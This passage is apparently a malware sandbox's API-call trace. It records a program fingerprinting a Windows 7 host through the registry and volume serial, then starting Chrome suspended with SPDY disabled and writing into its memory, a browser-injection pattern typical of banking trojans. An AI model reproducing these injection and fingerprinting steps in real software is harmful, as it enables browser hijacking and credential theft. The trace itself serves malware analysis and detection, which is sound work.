Size=0x60) returned 0x1ef1000 [0071.033] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0071.034] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0071.034] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.034] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.034] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.034] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0071.034] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="KERNEL32.DLL") returned 1 [0071.034] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.034] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0071.034] VirtualProtect (in: lpAddress=0x7fefbbe1728, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x20) returned 1 [0072.267] VirtualProtect (in: lpAddress=0x7fefbbe1728, dwSize=0x8, flNewProtect=0x20, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x40) returned 1 [0072.267] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcf70000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fefcf70000, AllocationBase=0x7fefcf70000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0072.267] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0072.267] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef1070 [0072.267] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0072.267] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0072.267] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0072.267] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0072.267] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0072.267] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0072.267] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0072.267] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0072.267] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0072.268] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0072.268] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0072.268] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0072.268] lstrcmpiA (lpString1="API-MS-Win-Core-DelayLoad-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0072.268] lstrcmpiA (lpString1="CRYPTBASE.dll", lpString2="KERNEL32.DLL") returned -1 [0072.268] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0072.268] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef1070 | out: hHeap=0x1ee0000) returned 1 [0072.268] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dee30 | out: hHeap=0x1ee0000) returned 1 [0072.268] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0072.268] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegOpenKeyA") returned 0x7fefd71d6d0 [0072.268] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x2feec0 | out: phkResult=0x2feec0*=0xe8) returned 0x0 [0072.268] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegQueryValueExA") returned 0x7fefd72c480 [0072.268] RegQueryValueExA (in: hKey=0xe8, lpValueName="Client", lpReserved=0x0, lpType=0x2fee50, lpData=0x0, lpcbData=0x2feeb0*=0x0 | out: lpType=0x2fee50*=0x3, lpData=0x0, lpcbData=0x2feeb0*=0x2c) returned 0x0 [0072.268] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x2c) returned 0x22dff90 [0072.268] RegQueryValueExA (in: hKey=0xe8, lpValueName="Client", lpReserved=0x0, lpType=0x2fee50, lpData=0x22dff90, lpcbData=0x2feeb0*=0x2c | out: lpType=0x2fee50*=0x3, lpData=0x22dff90*, lpcbData=0x2feeb0*=0x2c) returned 0x0 [0072.268] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegCloseKey") returned 0x7fefd730710 [0072.268] RegCloseKey (hKey=0xe8) returned 0x0 [0072.268] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dff90 | out: hHeap=0x1ee0000) returned 1 [0072.269] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config", phkResult=0x2fee40 | out: phkResult=0x2fee40*=0x0) returned 0x2 [0072.269] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegCreateKeyA") returned 0x7fefd717c50 [0072.269] RegCreateKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x2feef0 | out: phkResult=0x2feef0*=0xe8) returned 0x0 [0072.269] RegQueryValueExA (in: hKey=0xe8, lpValueName="Client", lpReserved=0x0, lpType=0x2feee8, lpData=0x1db7ba0, lpcbData=0x2feee0*=0x2c | out: lpType=0x2feee8*=0x3, lpData=0x1db7ba0*, lpcbData=0x2feee0*=0x2c) returned 0x0 [0072.269] RegCloseKey (hKey=0xe8) returned 0x0 [0072.269] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22dff90 [0072.269] wsprintfA (in: param_1=0x22dff90, param_2="%08x%08x%08x%08x" | out: param_1="c1bfad56d6eccbb57e3f355780659e32") returned 32 [0072.269] GetComputerNameA (in: lpBuffer=0x2fedd0, nSize=0x2feee0 | out: lpBuffer="YKYD69Q", nSize=0x2feee0) returned 1 [0072.269] lstrlenA (lpString="YKYD69Q") returned 7 [0072.269] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegOpenKeyExA") returned 0x7fefd72b5f0 [0072.269] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x2fedc0 | out: phkResult=0x2fedc0*=0xe8) returned 0x0 [0072.269] RegQueryValueExA (in: hKey=0xe8, lpValueName="ProductID", lpReserved=0x0, lpType=0x0, lpData=0x2fedd0, lpcbData=0x2feee0*=0x100 | out: lpType=0x0, lpData=0x2fedd0*=0x30, lpcbData=0x2feee0*=0x18) returned 0x0 [0072.269] lstrlenA (lpString="00371-223-0192772-86275") returned 23 [0072.269] RegQueryValueExA (in: hKey=0xe8, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x2fedd0, lpcbData=0x2feee0*=0x100 | out: lpType=0x0, lpData=0x2fedd0*=0x57, lpcbData=0x2feee0*=0x17) returned 0x0 [0072.269] lstrlenA (lpString="Windows 7 Professional") returned 22 [0072.270] RegQueryValueExA (in: hKey=0xe8, lpValueName="CurrentVersion", lpReserved=0x0, lpType=0x0, lpData=0x2fedd0, lpcbData=0x2feee0*=0x100 | out: lpType=0x0, lpData=0x2fedd0*=0x36, lpcbData=0x2feee0*=0x4) returned 0x0 [0072.270] lstrlenA (lpString="6.1") returned 3 [0072.270] RegQueryValueExA (in: hKey=0xe8, lpValueName="InstallDate", lpReserved=0x0, lpType=0x0, lpData=0x2fedc8, lpcbData=0x2feee0*=0x4 | out: lpType=0x0, lpData=0x2fedc8*=0x8a, lpcbData=0x2feee0*=0x4) returned 0x0 [0072.270] RegCloseKey (hKey=0xe8) returned 0x0 [0072.270] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x2feef8, lpMaximumComponentLength=0x2feee0, lpFileSystemFlags=0x2feef0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2feef8*=0x705ba84c, lpMaximumComponentLength=0x2feee0*=0xff, lpFileSystemFlags=0x2feef0*=0x3e700ff, lpFileSystemNameBuffer=0x0) returned 1 [0072.270] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x30) returned 0x1ee0da0 [0072.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1d6bf48, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x2fef20 | out: lpThreadId=0x2fef20*=0xb88) returned 0xe8 [0072.271] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x2fef30 | out: phkResult=0x2fef30*=0xec) returned 0x0 [0072.271] RegQueryValueExA (in: hKey=0xec, lpValueName="Scr", lpReserved=0x0, lpType=0x2feeb0, lpData=0x0, lpcbData=0x2fef98*=0xffffffff | out: lpType=0x2feeb0*=0x0, lpData=0x0, lpcbData=0x2fef98*=0x0) returned 0x2 [0072.271] RegCloseKey (hKey=0xec) returned 0x0 [0072.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1d57770, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x2fef20 | out: lpThreadId=0x2fef20*=0xb8c) returned 0xec [0072.272] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.272] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0072.272] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.272] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef9a10000 [0072.272] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.272] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.272] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0072.273] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.273] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0072.273] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.273] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0072.273] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.273] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x77040000 [0072.273] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.274] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.274] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0072.274] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.274] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0072.274] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.274] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x77040000 [0072.274] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.348] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.348] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0072.349] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.349] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0072.349] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.349] LoadLibraryExW (lpLibFileName="api-ms-win-core-string-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0072.350] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.350] LoadLibraryExW (lpLibFileName="api-ms-win-core-datetime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0072.350] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.350] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-obsolete-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0072.650] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.650] LoadLibraryExW (lpLibFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", hFile=0x0, dwFlags=0x22) returned 0x13f510000 [0072.650] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.650] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.650] LoadLibraryExW (lpLibFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", hFile=0x0, dwFlags=0x22) returned 0x13f510000 [0072.650] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0072.785] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="PathFindFileNameW") returned 0x7fefd5d3920 [0072.785] PathFindFileNameW (pszPath="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe") returned="chrome.exe" [0072.785] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="StrChrW") returned 0x7fefd5cfa50 [0072.785] StrChrW (lpStart="chrome.exe", wMatch=0x20) returned 0x0 [0072.785] StrChrW (lpStart="chrome.exe", wMatch=0x22) returned 0x0 [0072.785] lstrlenW (lpString="chrome.exe") returned 10 [0072.785] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x16) returned 0x1ee0de0 [0072.785] _wcsupr (in: _String=0x1ee0de0 | out: _String="CHROME.EXE") returned="CHROME.EXE" [0072.785] lstrlenW (lpString="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler \"--database=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\" \"--metrics-dir=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=59.0.3071.115 --initial-client-data=0x11c,0x120,0x124,0x118,0x128,0x7fef4b319d0,0x7fef4b319b8,0x7fef4b319e8") returned 536 [0072.785] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x450) returned 0x22dc5d0 [0072.785] lstrcpyW (in: lpString1=0x22dc5d0, lpString2="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler \"--database=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\" \"--metrics-dir=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=59.0.3071.115 --initial-client-data=0x11c,0x120,0x124,0x118,0x128,0x7fef4b319d0,0x7fef4b319b8,0x7fef4b319e8" | out: lpString1="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler \"--database=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\" \"--metrics-dir=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=59.0.3071.115 --initial-client-data=0x11c,0x120,0x124,0x118,0x128,0x7fef4b319d0,0x7fef4b319b8,0x7fef4b319e8") returned="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler \"--database=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\" \"--metrics-dir=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=59.0.3071.115 --initial-client-data=0x11c,0x120,0x124,0x118,0x128,0x7fef4b319d0,0x7fef4b319b8,0x7fef4b319e8" [0072.785] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="StrTrimW") returned 0x7fefd5cb090 [0072.785] StrTrimW (in: psz="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler \"--database=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\" \"--metrics-dir=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=59.0.3071.115 --initial-client-data=0x11c,0x120,0x124,0x118,0x128,0x7fef4b319d0,0x7fef4b319b8,0x7fef4b319e8", pszTrimChars="- " | out: psz="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler \"--database=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\" \"--metrics-dir=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=59.0.3071.115 --initial-client-data=0x11c,0x120,0x124,0x118,0x128,0x7fef4b319d0,0x7fef4b319b8,0x7fef4b319e8") returned 0 [0072.785] lstrcatW (in: lpString1="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler \"--database=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\" \"--metrics-dir=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=59.0.3071.115 --initial-client-data=0x11c,0x120,0x124,0x118,0x128,0x7fef4b319d0,0x7fef4b319b8,0x7fef4b319e8", lpString2=" --use-spdy=off" | out: lpString1="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler \"--database=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\" \"--metrics-dir=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=59.0.3071.115 --initial-client-data=0x11c,0x120,0x124,0x118,0x128,0x7fef4b319d0,0x7fef4b319b8,0x7fef4b319e8 --use-spdy=off") returned="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler \"--database=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\" \"--metrics-dir=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=59.0.3071.115 --initial-client-data=0x11c,0x120,0x124,0x118,0x128,0x7fef4b319d0,0x7fef4b319b8,0x7fef4b319e8 --use-spdy=off" [0072.785] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0de0 | out: hHeap=0x1ee0000) returned 1 [0072.785] CreateProcessW (in: lpApplicationName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpCommandLine="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler \"--database=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\" \"--metrics-dir=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=59.0.3071.115 --initial-client-data=0x11c,0x120,0x124,0x118,0x128,0x7fef4b319d0,0x7fef4b319b8,0x7fef4b319e8 --use-spdy=off", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80004, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2fe9b0*(cb=0x70, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2fe990 | out: lpCommandLine="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler \"--database=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\" \"--metrics-dir=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=59.0.3071.115 --initial-client-data=0x11c,0x120,0x124,0x118,0x128,0x7fef4b319d0,0x7fef4b319b8,0x7fef4b319e8 --use-spdy=off", lpProcessInformation=0x2fe990*(hProcess=0x130, hThread=0x12c, dwProcessId=0xb90, dwThreadId=0xb94)) returned 1 [0072.790] IsWow64Process (in: hProcess=0x130, Wow64Process=0x2fe2c0 | out: Wow64Process=0x2fe2c0) returned 1 [0072.790] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x1000) returned 0x22dee30 [0072.790] NtQueryInformationProcess (in: ProcessHandle=0x130, ProcessInformationClass=0x0, ProcessInformation=0x2fdfe8, ProcessInformationLength=0x30, ReturnLength=0x2fe2c8 | out: ProcessInformation=0x2fdfe8, ReturnLength=0x2fe2c8) returned 0x0 [0072.790] NtReadVirtualMemory (in: ProcessHandle=0x130, BaseAddress=0x7fffffde000, Buffer=0x2fe020, NumberOfBytesToRead=0x268, NumberOfBytesRead=0x2fe2c8 | out: Buffer=0x2fe020*, NumberOfBytesRead=0x2fe2c8*=0x268) returned 0x0 [0072.790] NtReadVirtualMemory (in: ProcessHandle=0x130, BaseAddress=0x13f510000, Buffer=0x22dee30, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x2fe2c0 | out: Buffer=0x22dee30*, NumberOfBytesRead=0x2fe2c0*=0x1000) returned 0x0 [0072.790] NtReadVirtualMemory (in: ProcessHandle=0x130, BaseAddress=0x13f510148, Buffer=0x22dee30, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x2fe2c0 | out: Buffer=0x22dee30*, NumberOfBytesRead=0x2fe2c0*=0x1000) returned 0x0 [0072.790] NtReadVirtualMemory (in: ProcessHandle=0x130, BaseAddress=0x13f5f0598, Buffer=0x2fdfc0, NumberOfBytesToRead=0x28, NumberOfBytesRead=0x2fe2c0 | out: Buffer=0x2fdfc0*, NumberOfBytesRead=0x2fe2c0*=0x28) returned 0x0 [0072.791] NtReadVirtualMemory (in: ProcessHandle=0x130, BaseAddress=0x13f5d3a00, Buffer=0x22dee30, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x2fe2c0 | out: Buffer=0x22dee30*, NumberOfBytesRead=0x2fe2c0*=0x1000) returned 0x0 [0072.791] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dee30 | out: hHeap=0x1ee0000) returned 1 [0072.791] NtReadVirtualMemory (in: ProcessHandle=0x130, BaseAddress=0x13f5437e0, Buffer=0x2fe2e0, NumberOfBytesToRead=0x4, NumberOfBytesRead=0x2fe2e8 | out: Buffer=0x2fe2e0*, NumberOfBytesRead=0x2fe2e8*=0x4) returned 0x0 [0072.791] VirtualProtectEx (in: hProcess=0x130, lpAddress=0x13f5437e0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x2fe808 | out: lpflOldProtect=0x2fe808*=0x20) returned 1 [0072.841] NtWriteVirtualMemory (in: ProcessHandle=0x130, BaseAddress=0x13f5437e0, Buffer=0x2fe818*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x2fe290 | out: Buffer=0x2fe818*, NumberOfBytesWritten=0x2fe290*=0x4) returned 0x0 [0072.842] VirtualProtectEx (in: hProcess=0x130, lpAddress=0x13f5437e0, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x2fe808 | out: lpflOldProtect=0x2fe808*=0x40) returned 1 [0072.842] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0072.842] GetProcAddress (hModule=0x77040000, lpProcName="ResumeThread") returned 0x770513a0 [0072.842] ResumeThread (hThread=0x12c) returned 0x1 [0072.842] Sleep (dwMilliseconds=0x64) [0072.969] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0072.969] GetProcAddress (hModule=0x77040000, lpProcName="SuspendThread") returned 0x77042f60 [0072.970] SuspendThread (hThread=0x12c) returned 0x0 [0072.970] NtGetContextThread (in: ThreadHandle=0x12c, Context=0x2fe2f0 | out: Context=0x2fe2f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x10000b, MxCsr=0x1f80, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x771b140a, Rdx=0x0, Rbx=0x0, Rsp=0x23e828, Rbp=0x76f40000, Rsi=0x7fefd640000, Rdi=0x1, R8=0x23e828, R9=0x76f40000, R10=0x0, R11=0x282, R12=0x76fd26e0, R13=0x0, R14=0x12, R15=0x0, Rip=0x7fefee3b5ca, FltSave.ControlWord=0x27f, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x1f80, FltSave.MxCsr_Mask=0xffff, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, 